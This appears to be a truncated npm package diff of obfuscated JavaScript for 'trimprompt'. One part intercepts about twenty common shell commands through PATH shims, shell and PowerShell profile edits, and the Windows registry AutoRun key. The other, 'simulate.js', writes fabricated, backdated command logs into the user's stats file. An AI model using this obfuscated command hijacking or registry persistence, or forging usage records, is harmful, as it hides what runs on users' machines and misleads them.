_0x1f8f2b?!_0x161932['__esModule']:_0x1f8f2b[_0x395c71(0x1cb)]||_0x1f8f2b['configurable']))&&(_0x1f8f2b={'enumerable':!![],'get':function(){return _0x161932[_0x58770a];}}),Object[_0x395c71(0x1c1)](_0x3479a5,_0x16c107,_0x1f8f2b);}:function(_0x13cb5d,_0x163db7,_0x1a9b9e,_0x5487cf){if(_0x5487cf===undefined)_0x5487cf=_0x1a9b9e;_0x13cb5d[_0x5487cf]=_0x163db7[_0x1a9b9e];}),__setModuleDefault=this&&this[a0_0x5f12c6(0x1aa)]||(Object[a0_0x5f12c6(0x1b6)]?function(_0x1a8ddb,_0x2b9d80){const _0x57ec0a=a0_0x5f12c6;Object[_0x57ec0a(0x1c1)](_0x1a8ddb,_0x57ec0a(0x18a),{'enumerable':!![],'value':_0x2b9d80});}:function(_0x9d3799,_0x462946){const _0x22f39f=a0_0x5f12c6;_0x9d3799[_0x22f39f(0x18a)]=_0x462946;}),__importStar=this&&this[a0_0x5f12c6(0x17d)]||(function(){var _0x173837=function(_0x38e665){return _0x173837=Object['getOwnPropertyNames']||function(_0x152943){const _0x34b271=a0_0x2009;var _0x1b78b1=[];for(var _0x305706 in _0x152943)if(Object[_0x34b271(0x1a6)][_0x34b271(0x170)][_0x34b271(0x18f)](_0x152943,_0x305706))_0x1b78b1[_0x1b78b1[_0x34b271(0x1a4)]]=_0x305706;return _0x1b78b1;},_0x173837(_0x38e665);};return function(_0x279856){const _0x500dd5=a0_0x2009;if(_0x279856&&_0x279856[_0x500dd5(0x172)])return _0x279856;var _0x2dc27b={};if(_0x279856!=null){for(var _0x3eadf7=_0x173837(_0x279856),_0x4a1307=0x0;_0x4a1307<_0x3eadf7[_0x500dd5(0x1a4)];_0x4a1307++)if(_0x3eadf7[_0x4a1307]!==_0x500dd5(0x18a))__createBinding(_0x2dc27b,_0x279856,_0x3eadf7[_0x4a1307]);}return __setModuleDefault(_0x2dc27b,_0x279856),_0x2dc27b;};}());Object[a0_0x5f12c6(0x1c1)](exports,a0_0x5f12c6(0x172),{'value':!![]}),exports['installShims']=installShims,exports[a0_0x5f12c6(0x1b0)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x5f12c6(0x18e),a0_0x5f12c6(0x1c7),a0_0x5f12c6(0x16e),a0_0x5f12c6(0x18c),'rg',a0_0x5f12c6(0x1c2),a0_0x5f12c6(0x1ad),'gh',a0_0x5f12c6(0x161),a0_0x5f12c6(0x1c4),a0_0x5f12c6(0x184),a0_0x5f12c6(0x191),a0_0x5f12c6(0x1a2),'yarn',a0_0x5f12c6(0x1bb),a0_0x5f12c6(0x15f),a0_0x5f12c6(0x186),a0_0x5f12c6(0x1ae),'pip3','go'],PROFILE_MARKER=a0_0x5f12c6(0x16b);function getExecSync(){const _0x405775=a0_0x5f12c6;return require(_0x405775(0x197))[_0x405775(0x169)];}function getExecFileSync(){const _0x28a8a6=a0_0x5f12c6;return require(_0x28a8a6(0x197))[_0x28a8a6(0x1a0)];}function ensureProfileContains(_0x2ff7ea,_0x33c1e6,_0x127ef6){const _0x43522b=a0_0x5f12c6;try{const _0x1b5ea5=path[_0x43522b(0x17e)](_0x2ff7ea);!fs[_0x43522b(0x17f)](_0x1b5ea5)&&fs[_0x43522b(0x1ba)](_0x1b5ea5,{'recursive':!![]});if(fs[_0x43522b(0x17f)](_0x2ff7ea)){const _0x2450f9=fs[_0x43522b(0x166)](_0x2ff7ea,_0x43522b(0x199));if(_0x2450f9[_0x43522b(0x1a5)](_0x33c1e6))return;fs['appendFileSync'](_0x2ff7ea,_0x127ef6,_0x43522b(0x199));}else fs[_0x43522b(0x16f)](_0x2ff7ea,_0x127ef6,'utf8');}catch{}}function removeProfileBlock(_0x4ce0d4,_0xcb5b23){const _0x543ca9=a0_0x5f12c6;try{if(!fs[_0x543ca9(0x17f)](_0x4ce0d4))return;const _0x2444b=fs[_0x543ca9(0x166)](_0x4ce0d4,'utf8');if(!_0x2444b[_0x543ca9(0x1a5)](_0xcb5b23))return;const _0xa7e710=_0x2444b[_0x543ca9(0x1c8)]('\x0a'),_0x1460d4=[];let _0x7a2116=![];for(let _0x56a17a=0x0;_0x56a17a<_0xa7e710[_0x543ca9(0x1a4)];_0x56a17a++){if(_0xa7e710[_0x56a17a][_0x543ca9(0x1a5)](_0xcb5b23)){_0x7a2116=!![];continue;}if(_0x7a2116){_0x7a2116=![];continue;}_0x1460d4[_0x543ca9(0x16d)](_0xa7e710[_0x56a17a]);}const _0x24b164=_0x1460d4[_0x543ca9(0x1a9)]('\x0a')[_0x543ca9(0x183)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x4ce0d4,_0x24b164,_0x543ca9(0x199));}catch{}}function collectPowerShellProfiles(){const _0x1e46c9=a0_0x5f12c6,_0x2a1a75=getExecSync(),_0x3101bf=[],_0x55fca6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x2a1a75('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1e46c9(0x1b4)}),_0x55fca6['push']([_0x1e46c9(0x173),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x335fc6,_0x24b3b3]of _0x55fca6){try{const _0x48e063=_0x2a1a75(_0x335fc6+_0x1e46c9(0x15b)+_0x24b3b3+'\x22',{'encoding':_0x1e46c9(0x199)})[_0x1e46c9(0x1c5)]();_0x48e063&&!_0x3101bf['some'](_0xa43036=>_0xa43036['toLowerCase']()===_0x48e063['toLowerCase']())&&_0x3101bf['push'](_0x48e063);}catch{}}return _0x3101bf;}function a0_0x2009(_0x13f305,_0x34b8e4){_0x13f305=_0x13f305-0x159;const _0x45ea0e=a0_0x45ea();let _0x200929=_0x45ea0e[_0x13f305];return _0x200929;}function getBashProfilesWindows(){const _0x356bc2=a0_0x5f12c6,_0x297588=os['homedir']();return[_0x356bc2(0x193),'.bash_profile'][_0x356bc2(0x180)](_0x3affa6=>path[_0x356bc2(0x1a9)](_0x297588,_0x3affa6));}function getBroadcastCommand(){const _0x13f09e=a0_0x5f12c6;return _0x13f09e(0x182);}function installShims(){const _0x1d6695=a0_0x5f12c6,_0xd76142=path[_0x1d6695(0x1a9)](os['homedir'](),_0x1d6695(0x1b7),_0x1d6695(0x1bd));try{!fs[_0x1d6695(0x17f)](_0xd76142)&&fs[_0x1d6695(0x1ba)](_0xd76142,{'recursive':!![]});const _0x28df8c=os[_0x1d6695(0x162)]()===_0x1d6695(0x1a3);for(const _0x310d21 of SHIMMED_COMMANDS){if(_0x28df8c){const _0x2bcefb=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21+_0x1d6695(0x165));fs['writeFileSync'](_0x2bcefb,_0x1d6695(0x1b2)+_0x310d21+_0x1d6695(0x176),_0x1d6695(0x199));const _0x10d42a=path['join'](_0xd76142,_0x310d21+_0x1d6695(0x16c));fs[_0x1d6695(0x16f)](_0x10d42a,_0x1d6695(0x185)+_0x310d21+_0x1d6695(0x18d),_0x1d6695(0x199));const _0x3d0a27=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x3d0a27,'#!/bin/sh\x0aexec\x20trim\x20'+_0x310d21+_0x1d6695(0x1c0),'utf8');}else{const _0x32a1ea=path[_0x1d6695(0x1a9)](_0xd76142,_0x310d21);fs[_0x1d6695(0x16f)](_0x32a1ea,_0x1d6695(0x1b1)+_0x310d21+_0x1d6695(0x1c0),_0x1d6695(0x199)),fs[_0x1d6695(0x194)](_0x32a1ea,_0x1d6695(0x1a7));}}let _0x153b4b=![],_0x57640f='';if(_0x28df8c)try{const _0x42348f=getExecSync(),_0xcb9994='\x0a#\x20'+PROFILE_MARKER+_0x1d6695(0x1a1)+_0xd76142+_0x1d6695(0x177),_0xb8ab93=collectPowerShellProfiles();for(const _0x14f78d of _0xb8ab93){ensureProfileContains(_0x14f78d,_0xd76142,_0xcb9994);}try{const _0x304307=getExecFileSync(),_0xe04389=_0x1d6695(0x1b9)+_0xd76142+_0x1d6695(0x171)+_0xd76142+';%PATH%\x22',_0x151be7='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x2e32b4='';try{const _0x36b4e3=_0x1d6695(0x1af)+_0x151be7+_0x1d6695(0x189);_0x2e32b4=_0x304307(_0x1d6695(0x15e),[_0x1d6695(0x174),_0x1d6695(0x187),_0x36b4e3],{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();}catch{}if(!_0x2e32b4[_0x1d6695(0x1a5)](_0xd76142)){const _0x161660=_0x2e32b4?_0x2e32b4+_0x1d6695(0x19b)+_0xe04389:_0xe04389,_0x5b983e=_0x1d6695(0x19c)+_0x151be7+_0x1d6695(0x179)+_0x151be7+_0x1d6695(0x15c)+_0x161660+'\x27';_0x304307(_0x1d6695(0x15e),['-NoProfile',_0x1d6695(0x187),_0x5b983e],{'stdio':'ignore'});}}catch{}try{const _0x1d4835=_0xd76142[_0x1d6695(0x183)](/\\/g,'/')[_0x1d6695(0x183)](/^([A-Za-z]):/,(_0x574334,_0xa00f5e)=>'/'+_0xa00f5e[_0x1d6695(0x15a)]()),_0x25ed22=_0x1d6695(0x181)+PROFILE_MARKER+_0x1d6695(0x195)+_0x1d4835+_0x1d6695(0x1cc),_0xde6f06=getBashProfilesWindows();let _0x9446e9=![];for(const _0x192be3 of _0xde6f06){fs[_0x1d6695(0x17f)](_0x192be3)&&(ensureProfileContains(_0x192be3,_0x1d4835,_0x25ed22),_0x9446e9=!![]);}!_0x9446e9&&ensureProfileContains(_0xde6f06[0x0],_0x1d4835,_0x25ed22);}catch{}const _0x156e31='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x42ce26=_0x42348f(_0x1d6695(0x175)+_0x156e31+'\x22',{'encoding':_0x1d6695(0x199),'stdio':[_0x1d6695(0x188),_0x1d6695(0x188),_0x1d6695(0x1b4)]})[_0x1d6695(0x1c5)]();if(!_0x42ce26[_0x1d6695(0x1a5)](_0xd76142)){const _0x347485=_0xd76142+';'+_0x42ce26,_0x1ec544=_0x347485['replace'](/'/g,'\x27\x27'),_0x3dedf6='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1ec544+_0x1d6695(0x1ab);_0x42348f(_0x1d6695(0x175)+_0x3dedf6+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x1d6695(0x1b4)});}const _0x190a0c=path[_0x1d6695(0x1a9)](process.env.APPDATA||'','npm','trim.ps1');if(fs['existsSync'](_0x190a0c))try{fs[_0x1d6695(0x167)](_0x190a0c);}catch{}_0x153b4b=!![];}catch(_0x3784bf){_0x57640f='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0xd76142;}else try{const _0x44a014=_0x1d6695(0x17c)+_0xd76142+_0x1d6695(0x1cc),_0x346325=os[_0x1d6695(0x1bc)](),_0x456765=[_0x1d6695(0x193),'.zshrc',_0x1d6695(0x17a),_0x1d6695(0x19f)];let _0x5111cf=![];for(const _0x3706ac of _0x456765){const _0x3f7697=path['join'](_0x346325,_0x3706ac);fs[_0x1d6695(0x17f)](_0x3f7697)&&(ensureProfileContains(_0x3f7697,_0xd76142,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x44a014),_0x5111cf=!![]);}if(!_0x5111cf){const _0x50c779=path[_0x1d6695(0x1a9)](_0x346325,'.bashrc');ensureProfileContains(_0x50c779,_0xd76142,_0x1d6695(0x181)+PROFILE_MARKER+'\x0a'+_0x44a014);}_0x153b4b=!![];}catch(_0xc7555d){_0x57640f='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0xd76142+_0x1d6695(0x163);}const _0x5c0d2b=_0x1d6695(0x1c9)+SHIMMED_COMMANDS[_0x1d6695(0x1a4)]+_0x1d6695(0x160),_0x3f4740=_0x153b4b?_0x5c0d2b+_0x1d6695(0x19e):_0x5c0d2b+_0x1d6695(0x1b5)+_0x57640f;return{'success':!![],'pathDir':_0xd76142,'message':_0x3f4740};}catch(_0x385d28){return{'success':![],'pathDir':_0xd76142,'message':_0x1d6695(0x16a)+_0x385d28[_0x1d6695(0x1be)]};}}function uninstallShims(){const _0x2d30a2=a0_0x5f12c6,_0x5edb48=path[_0x2d30a2(0x1a9)](os[_0x2d30a2(0x1bc)](),_0x2d30a2(0x1b7),_0x2d30a2(0x1bd)),_0x375a76=os[_0x2d30a2(0x162)]()==='win32';try{if(_0x375a76){const _0x425fd9=getExecSync();try{const _0x1e92c1=getExecFileSync(),_0x1115b2=_0x2d30a2(0x19a),_0x5acf08='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1115b2+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x5e6737=_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),'-Command',_0x5acf08],{'encoding':_0x2d30a2(0x199),'stdio':[_0x2d30a2(0x188),'pipe',_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0x5e6737[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x17a156=_0x5e6737['split'](_0x2d30a2(0x19b))['filter'](_0x13c23a=>!_0x13c23a[_0x2d30a2(0x1a5)](_0x5edb48));if(_0x17a156['length']===0x0){const _0x390081=_0x2d30a2(0x1a8)+_0x1115b2+_0x2d30a2(0x15d);_0x1e92c1('powershell.exe',[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x390081],{'stdio':_0x2d30a2(0x1b4)});}else{const _0x11cca7=_0x17a156['join'](_0x2d30a2(0x19b)),_0x371f3b=_0x2d30a2(0x164)+_0x1115b2+_0x2d30a2(0x15c)+_0x11cca7+'\x27';_0x1e92c1(_0x2d30a2(0x15e),[_0x2d30a2(0x174),_0x2d30a2(0x187),_0x371f3b],{'stdio':_0x2d30a2(0x1b4)});}}}catch{}try{const _0x276e92=collectPowerShellProfiles();for(const _0xcd08c of _0x276e92){removeProfileBlock(_0xcd08c,PROFILE_MARKER);}}catch{}try{for(const _0x27ed8c of getBashProfilesWindows()){removeProfileBlock(_0x27ed8c,PROFILE_MARKER);}}catch{}try{const _0x1cd97b=_0x2d30a2(0x1c3),_0xd71375=_0x425fd9('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1cd97b+'\x22',{'encoding':'utf8','stdio':[_0x2d30a2(0x188),_0x2d30a2(0x188),_0x2d30a2(0x1b4)]})[_0x2d30a2(0x1c5)]();if(_0xd71375[_0x2d30a2(0x1a5)](_0x5edb48)){const _0x230f13=_0xd71375[_0x2d30a2(0x1c8)](';')[_0x2d30a2(0x1ac)](_0x441925=>_0x441925['trim']()[_0x2d30a2(0x15a)]()!==_0x5edb48['toLowerCase']())[_0x2d30a2(0x1a9)](';'),_0x3bc643=_0x230f13['replace'](/'/g,'\x27\x27'),_0x2494e7=_0x2d30a2(0x1bf)+_0x3bc643+_0x2d30a2(0x1ab);_0x425fd9(_0x2d30a2(0x175)+_0x2494e7+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x2d30a2(0x1b4)});}}catch{}}else{const _0x6cb10c=os[_0x2d30a2(0x1bc)](),_0x4bad9e=[_0x2d30a2(0x193),_0x2d30a2(0x178),_0x2d30a2(0x17a),_0x2d30a2(0x19f)];for(const _0x5d98c3 of _0x4bad9e){removeProfileBlock(path[_0x2d30a2(0x1a9)](_0x6cb10c,_0x5d98c3),PROFILE_MARKER);}}if(fs[_0x2d30a2(0x17f)](_0x5edb48)){const _0x417009=fs['readdirSync'](_0x5edb48);for(const _0x348e5b of _0x417009){fs[_0x2d30a2(0x167)](path[_0x2d30a2(0x1a9)](_0x5edb48,_0x348e5b));}fs['rmdirSync'](_0x5edb48);}return{'success':!![],'message':_0x2d30a2(0x17b)};}catch(_0x218265){return{'success':![],'message':_0x2d30a2(0x159)+_0x218265[_0x2d30a2(0x1be)]};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5f4581=a0_0xa857;(function(_0x4501d4,_0x49f18c){const _0xd7f8b4=a0_0xa857,_0x1c394c=_0x4501d4();while(!![]){try{const _0x58d036=-parseInt(_0xd7f8b4(0x1b5))/0x1+-parseInt(_0xd7f8b4(0x18b))/0x2+parseInt(_0xd7f8b4(0x196))/0x3*(parseInt(_0xd7f8b4(0x1a8))/0x4)+-parseInt(_0xd7f8b4(0x1b3))/0x5+parseInt(_0xd7f8b4(0x1a6))/0x6*(-parseInt(_0xd7f8b4(0x1c0))/0x7)+parseInt(_0xd7f8b4(0x199))/0x8*(-parseInt(_0xd7f8b4(0x1bb))/0x9)+parseInt(_0xd7f8b4(0x1a5))/0xa;if(_0x58d036===_0x49f18c)break;else _0x1c394c['push'](_0x1c394c['shift']());}catch(_0x2e444b){_0x1c394c['push'](_0x1c394c['shift']());}}}(a0_0x1eab,0xacb36));function a0_0x1eab(){const _0x1c5a18=['./tracker','kubectl\x20get\x20pods\x20-n\x20production','105984ZuMtyy','defineProperty','__esModule','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','stringify','getLogs','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','toISOString','cargo\x20test','git\x20diff\x20main','32313980hOzKTX','6RXxzNQ','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','4145356YHetOs','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','writeFileSync','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','length','timestamp','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','3781500aDsRHt','found\x200\x20vulnerabilities\x0a','660283avaXec','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','log','git\x20log\x20-n\x205','join','utf8','801JeNKMg','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','npm\x20run\x20lint','claude-3-5-sonnet','.trimprompt','6602617jFWihY','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','tracker','gpt-4o','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','npm\x20install\x20lodash\x20express\x20uuid\x20react','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','42938NnwiBx','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','logExecution','gemini-1-5-pro','now','stats.json','cargo\x20test:\x2045\x20passed,\x200\x20failed.','cmd','repeat','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','3NHCasn'];a0_0x1eab=function(){return _0x1c5a18;};return a0_0x1eab();}Object[a0_0x5f4581(0x19a)](exports,a0_0x5f4581(0x19b),{'value':!![]});const tracker_1=require(a0_0x5f4581(0x197));console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x18c));const models=[a0_0x5f4581(0x1be),a0_0x5f4581(0x184),'gpt-4o-mini',a0_0x5f4581(0x18f),'gemini-1-5-flash','claude-3-opus'],commands=[{'cmd':a0_0x5f4581(0x1a4),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x5f4581(0x194)](0x32),'comp':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','exitCode':0x0},{'cmd':a0_0x5f4581(0x1a3),'raw':a0_0x5f4581(0x1a7)+'test\x20tests::test_case_'[a0_0x5f4581(0x194)](0x28)+a0_0x5f4581(0x18d),'comp':a0_0x5f4581(0x192),'exitCode':0x0},{'cmd':a0_0x5f4581(0x188),'raw':a0_0x5f4581(0x19d)+a0_0x5f4581(0x1b1)+a0_0x5f4581(0x1b4),'comp':a0_0x5f4581(0x189),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b6),'raw':a0_0x5f4581(0x1a9)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x5f4581(0x18a)+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':a0_0x5f4581(0x1c1),'exitCode':0x0},{'cmd':a0_0x5f4581(0x198),'raw':a0_0x5f4581(0x1ac)+a0_0x5f4581(0x186)+a0_0x5f4581(0x195)+'redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5f4581(0x19e),'raw':a0_0x5f4581(0x1bc)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5f4581(0x185),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1b8),'raw':a0_0x5f4581(0x19c)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5f4581(0x187),'exitCode':0x0},{'cmd':a0_0x5f4581(0x1bd),'raw':a0_0x5f4581(0x1b2)+a0_0x5f4581(0x1a1)+a0_0x5f4581(0x1ad),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5f4581(0x190)]()-0x36ee80;function a0_0xa857(_0x2dc81f,_0x4c9f49){_0x2dc81f=_0x2dc81f-0x184;const _0x1eab63=a0_0x1eab();let _0xa857b1=_0x1eab63[_0x2dc81f];return _0xa857b1;}for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math['random']()*commands[a0_0x5f4581(0x1af)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5f4581(0x1a2)](),log=tracker_1[a0_0x5f4581(0x1c2)][a0_0x5f4581(0x18e)](commandItem[a0_0x5f4581(0x193)],commandItem['raw'],commandItem['comp'],commandItem[a0_0x5f4581(0x1ae)]),logs=tracker_1['tracker'][a0_0x5f4581(0x1a0)]();logs[a0_0x5f4581(0x1af)]>0x0&&(logs[logs['length']-0x1][a0_0x5f4581(0x1b0)]=timestamp,require('fs')[a0_0x5f4581(0x1ab)](require('path')[a0_0x5f4581(0x1b9)](require('os')['homedir'](),a0_0x5f4581(0x1bf),a0_0x5f4581(0x191)),JSON[a0_0x5f4581(0x19f)](logs,null,0x2),a0_0x5f4581(0x1ba)));}console[a0_0x5f4581(0x1b7)](a0_0x5f4581(0x1aa));
1
+ 'use strict';const a0_0x625320=a0_0x401d;(function(_0x1df433,_0x18694c){const _0x511079=a0_0x401d,_0x9593dc=_0x1df433();while(!![]){try{const _0x5427cc=-parseInt(_0x511079(0x204))/0x1*(-parseInt(_0x511079(0x1fd))/0x2)+parseInt(_0x511079(0x1c6))/0x3+parseInt(_0x511079(0x1e9))/0x4*(-parseInt(_0x511079(0x1ff))/0x5)+parseInt(_0x511079(0x1df))/0x6+-parseInt(_0x511079(0x1f7))/0x7+-parseInt(_0x511079(0x1de))/0x8*(-parseInt(_0x511079(0x1eb))/0x9)+-parseInt(_0x511079(0x1d8))/0xa*(parseInt(_0x511079(0x1f6))/0xb);if(_0x5427cc===_0x18694c)break;else _0x9593dc['push'](_0x9593dc['shift']());}catch(_0x1f13ac){_0x9593dc['push'](_0x9593dc['shift']());}}}(a0_0x592a,0xb1257));Object[a0_0x625320(0x1f4)](exports,a0_0x625320(0x1fa),{'value':!![]});function a0_0x592a(){const _0x400f2b=['7287258jHIOlq','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','join','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Completed\x203\x20of\x203\x20assets\x20successfully.','claude-3-opus','timestamp','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','3394852TcEaBU','pip\x20install\x20tensorflow\x20pandas\x20numpy','1523439UBcIhO','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','tracker','npm\x20install\x20lodash\x20express\x20uuid\x20react','homedir','found\x200\x20vulnerabilities\x0a','claude-3-5-sonnet','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','defineProperty','gemini-1-5-flash','22tnGkiY','6099478RwDKuH','npm\x20run\x20lint','.trimprompt','__esModule','cargo\x20test:\x2045\x20passed,\x200\x20failed.','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','722422FrPwsc','cargo\x20test','5hneKkE','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','git\x20log\x20-n\x205','1HdUySV','test\x20tests::test_case_','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods\x20-n\x20production','writeFileSync','stringify','266643UHZmkK','random','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','gpt-4o','length','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x